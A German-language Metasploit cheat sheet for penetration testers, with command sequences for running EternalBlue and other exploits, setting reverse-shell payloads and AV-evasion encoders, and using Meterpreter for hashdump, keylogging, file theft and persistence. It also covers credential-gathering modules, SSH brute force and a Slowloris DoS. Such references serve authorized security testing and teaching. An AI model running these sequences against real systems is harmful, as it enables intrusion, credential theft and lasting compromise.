Metasploit Cheatsheet

6 Kernkonzepte
Die wichtigsten Metasploit-Konzepte für Penetration Testing: msfconsole · Exploits · Payloads · Meterpreter · Post-Exploitation · Auxiliary Metasploit ist das führende Framework für Penetration Testing. Es bietet eine umfangreiche Sammlung von Exploits, Payloads und Hilfsmodulen für Sicherheitstests.

msfconsole – Die Metasploit-Konsole

msfconsole · Hilfe · Suche · Setzen
msfconsole # Startet die Konsole help # Alle Befehle anzeigen search name:eternalblue # Suche nach Modulen

msfconsole ist die interaktive Hauptkonsole von Metasploit. Sie bietet Zugriff auf alle Module, Exploits, Payloads und Hilfsfunktionen.

Wichtige Konsolenbefehle

Befehl Beschreibung
help / ? Alle Befehle anzeigen
search [Kriterium] Nach Modulen suchen (z.B. search name:windows)
use [Modul] Ein Modul verwenden
show options Optionen des aktuellen Moduls anzeigen
show payloads Verfügbare Payloads anzeigen
set [OPTION] [WERT] Option setzen
run / exploit Exploit ausführen
back Zurück zum Hauptmenü
sessions Alle aktiven Sessions anzeigen
sessions -i [ID] Mit einer Session interagieren
exit msfconsole beenden
Beispiele
msfconsole # Starten
search type:exploit platform:windows # Windows-Exploits suchen
use exploit/windows/smb/ms17_010_eternalblue # Exploit wählen
show options # Optionen anzeigen
set RHOSTS 192.168.1.100 # Ziel-IP setzen
set PAYLOAD windows/x64/meterpreter/reverse_tcp # Payload setzen
set LHOST 192.168.1.50 # Lokale IP für Reverse Shell
run # Exploit ausführen
Tipp: search unterstützt verschiedene Filter: name:, type:, platform:, author:, cve:. Zum Beispiel: search name:smb type:exploit.

Exploits – Schwachstellen ausnutzen

exploit · check · show targets
use exploit/windows/smb/ms17_010_eternalblue check # Prüft, ob das Ziel verwundbar ist show targets # Verfügbare Zielplattformen set TARGET # Zielplattform auswählen

Exploits sind Module, die bestimmte Schwachstellen ausnutzen. Metasploit enthält hunderte Exploits für verschiedene Betriebssysteme und Dienste.

Wichtige Exploit-Befehle

Befehl Beschreibung
check Prüft, ob das Ziel verwundbar ist (ohne Exploit)
show targets Zeigt verfügbare Zielplattformen (z.B. Windows 7, Server 2008)
set TARGET [Nummer] Wählt eine bestimmte Zielplattform aus
show payloads Zeigt kompatible Payloads für diesen Exploit
set PAYLOAD [payload] Wählt einen Payload aus
exploit / run Führt den Exploit aus
exploit -j Exploit im Hintergrund ausführen (Job)
Beispiele
# Bekannte Exploits
use exploit/windows/smb/ms17_010_eternalblue # EternalBlue
use exploit/windows/http/struts2_rest_xstream # Apache Struts
use exploit/linux/http/thinkphp_rce # ThinkPHP RCE
# Ziel prüfen und ausführen
check # Prüft Verwundbarkeit
set RHOSTS 192.168.1.100
set RPORT 445
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit
⚠️ Warnung: Exploits können Systeme destabilisieren oder zum Absturz bringen. Führen Sie Exploits nur in autorisierten Umgebungen mit schriftlicher Genehmigung durch.

Payloads – Payloads und Encoder

meterpreter · shell · reverse · bind
# Payload-Typen windows/x64/meterpreter/reverse_tcp # Meterpreter Reverse TCP windows/shell_reverse_tcp # Klassische Reverse Shell generic/shell_reverse_tcp # Plattformunabhängig

Payloads sind die Nutzlasten, die nach erfolgreichem Exploit ausgeführt werden. Sie reichen von einfachen Shells bis zu komplexen Meterpreter-Sessions.

Payload-Typen

Typ Beschreibung Beispiel
Meterpreter Erweiterte Shell mit vielen Post-Exploitation-Funktionen windows/x64/meterpreter/reverse_tcp
Shell Einfache Befehlszeile auf dem Zielsystem windows/shell_reverse_tcp
Bind Payload öffnet einen Port und wartet auf Verbindung windows/shell_bind_tcp
Reverse Payload verbindet sich mit dem Angreifer zurück (empfohlen) windows/shell_reverse_tcp
Staged Kleiner Stager lädt größeren Payload nach windows/meterpreter/reverse_tcp
Stageless Kompletter Payload wird auf einmal gesendet windows/shell_reverse_tcp
Beispiele
# Payload-Optionen anzeigen
show payloads
# Verschiedene Payloads setzen
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set PAYLOAD windows/shell_reverse_tcp
set PAYLOAD windows/x64/meterpreter/reverse_https # Über HTTPS
# Encoder verwenden (zur AV-Umgehung)
show encoders
set ENCODER x86/shikata_ga_nai
set ENCODER x86/xor_dynamic
# Payload für Linux
set PAYLOAD linux/x64/meterpreter/reverse_tcp
Tipp: Reverse TCP-Payloads sind die zuverlässigste Methode, da sie Firewalls oft umgehen. Meterpreter bietet wesentlich mehr Funktionen als eine einfache Shell – nutzen Sie es für Post-Exploitation.

Meterpreter – Advanced Post-Exploitation

sysinfo · getuid · shell · upload · download
# Meterpreter-Befehle sysinfo # Systeminformationen getuid # Aktueller Benutzer shell # System-Shell öffnen bg # Session in den Hintergrund

Meterpreter ist ein erweitertes Payload-Framework mit umfangreichen Post-Exploitation-Funktionen. Es läuft speicherresident und ist schwer zu erkennen.

Wichtige Meterpreter-Befehle

Befehl Beschreibung
sysinfo Systeminformationen anzeigen (OS, Hostname, Architektur)
getuid Aktuellen Benutzer anzeigen
getprivs Berechtigungen des aktuellen Prozesses anzeigen
shell System-Shell öffnen (cmd/powershell)
upload [Lokal] [Ziel] Datei auf das Zielsystem hochladen
download [Ziel] [Lokal] Datei vom Zielsystem herunterladen
ls Verzeichnis auflisten
cd Verzeichnis wechseln
pwd Aktuelles Verzeichnis anzeigen
ps Laufende Prozesse anzeigen
migrate [PID] Meterpreter in einen anderen Prozess migrieren
hashdump Passwort-Hashes aus der SAM extrahieren
background / bg Session in den Hintergrund verschieben
sessions -i [ID] Zu einer Session zurückkehren
keyscan_start Keylogger starten
keyscan_dump Getippte Tasten anzeigen
screenshot Screenshot des Desktops erstellen
Beispiele
# Nach erfolgreichem Exploit:
meterpreter > sysinfo # Systeminfo anzeigen
meterpreter > getuid # Wer bin ich?
meterpreter > shell # Windows CMD öffnen
meterpreter > hashdump # Hashes extrahieren
meterpreter > ps # Prozesse anzeigen
meterpreter > migrate 1234 # In anderen Prozess migrieren
meterpreter > upload /tmp/tool.exe C:\\temp\\ # Datei hochladen
meterpreter > download C:\\users\\admin\\secret.txt /tmp/ # Datei herunterladen
meterpreter > keyscan_start # Keylogger starten
meterpreter > keyscan_dump # Tasten anzeigen
meterpreter > bg # Session in den Hintergrund
msf6 > sessions -i 1 # Zurück zu Session 1
Tipp: migrate ist einer der wichtigsten Meterpreter-Befehle – er migriert die Session in einen stabileren Prozess (z.B. explorer.exe) und macht die Session schwerer erkennbar.

Post-Exploitation – Informationen sammeln

post · enum · persistence · privilege
# Post-Exploitation-Module use post/windows/gather/enum_users use post/windows/gather/credentials/windows_autologin use post/windows/manage/migrate

Post-Exploitation-Module sammeln nach einem erfolgreichen Exploit Informationen über das Zielsystem – Benutzer, Netzwerk, Passwörter, Systemkonfiguration.

Post-Exploitation-Module

Modul Beschreibung
post/windows/gather/enum_users Lokale Benutzer auflisten
post/windows/gather/enum_logged_on_users Angemeldete Benutzer anzeigen
post/windows/gather/enum_services Dienste auflisten
post/windows/gather/enum_shares Freigaben auflisten
post/windows/gather/enum_applications Installierte Anwendungen
post/windows/gather/credentials/windows_autologin Automatische Anmeldeinformationen
post/windows/gather/credentials/domain_hashdump Domain-Hashes dumpen
post/windows/manage/migrate Meterpreter zu anderem Prozess migrieren
post/windows/manage/persistence_exe Persistenz einrichten
post/linux/gather/enum_network Linux-Netzwerkinformationen
post/linux/gather/enum_users_history Linux-Benutzerhistorie
Beispiele
# Nach erfolgreicher Meterpreter-Session:
bg # Session in den Hintergrund
use post/windows/gather/enum_users
set SESSION 1
run
use post/windows/gather/credentials/windows_autologin
set SESSION 1
run
use post/windows/manage/persistence_exe
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
run
Tipp: Post-Exploitation-Module sind sehr effizient – sie sammeln systematisch Informationen über das Zielsystem und sparen wertvolle Zeit.

Auxiliary – Scannen und Hilfsmodule

scanner · dos · brute · sniff
# Hilfsmodule use auxiliary/scanner/portscan/tcp use auxiliary/scanner/smb/smb_version use auxiliary/scanner/http/dir_scanner

Auxiliary-Module sind Hilfsmodule für Scannen, Erkennung, Bruteforce und andere Aufgaben – sie führen keinen Exploit durch, sondern sammeln Informationen oder führen spezielle Aktionen aus.

Häufige Auxiliary-Module

Modul Beschreibung
auxiliary/scanner/portscan/tcp TCP-Portscan
auxiliary/scanner/portscan/syn SYN-Scan (stealth)
auxiliary/scanner/smb/smb_version SMB-Version erkennen
auxiliary/scanner/http/dir_scanner Web-Verzeichnisse scannen
auxiliary/scanner/http/wordpress_posts WordPress-Informationen sammeln
auxiliary/scanner/ssh/ssh_version SSH-Version erkennen
auxiliary/scanner/mysql/mysql_login MySQL-Bruteforce
auxiliary/scanner/rdp/rdp_scanner RDP erkennen
auxiliary/dos/http/slowloris Slowloris-DOS-Angriff
auxiliary/sniffer/psnuffle Passwort-Sniffer
Beispiele
# TCP-Portscan
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.1/24
set PORTS 1-1024
run
# SMB-Scan
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run
# SSH-Bruteforce
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
set PASS_FILE /usr/share/wordlists/passwords.txt
run
Tipp: Auxiliary-Scanner sind eine hervorragende Möglichkeit, Ihre Zielumgebung zu erkunden, bevor Sie einen Exploit einsetzen. Der Portscan ist oft der erste Schritt.

Metasploit im Überblick

msfconsole Hauptkonsole
Interaktive Steuerung
Exploit Schwachstelle ausnutzen
Definierter Angriffsvektor
Payload Nutzkode
Meterpreter, Shell
Meterpreter Erweiterte Shell
Post-Exploitation
Auxiliary Hilfsmodule
Scannen, Bruteforce
Post Nach-dem-Exploit
Informationen sammeln

Quick Summary

msfconsole
Konsole starten
use exploit
Exploit wählen
set PAYLOAD
Payload setzen
sessions
Sessions verwalten
post/*
Post-Exploitation
auxiliary/*
Scannen
search type:exploit platform:windows · set RHOSTS 192.168.1.100 · exploit